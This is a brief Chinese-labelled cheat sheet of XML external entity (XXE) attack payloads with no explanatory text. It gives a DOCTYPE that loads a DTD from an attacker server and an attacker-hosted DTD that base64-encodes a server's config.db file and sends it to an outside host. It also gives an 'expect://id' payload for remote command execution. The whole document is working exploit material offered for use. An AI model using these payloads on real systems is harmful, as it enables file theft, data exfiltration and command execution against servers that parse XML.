DTD

加载外部DTD

1
2
3
4
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://192.168.56.1:8000/evil.dtd">
%xxe;
]>

攻击者服务器

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/localhost/htdocs/config.db">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.57.1:8000/exfil?%file;'>">
%eval;
%exfil;

RCE

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>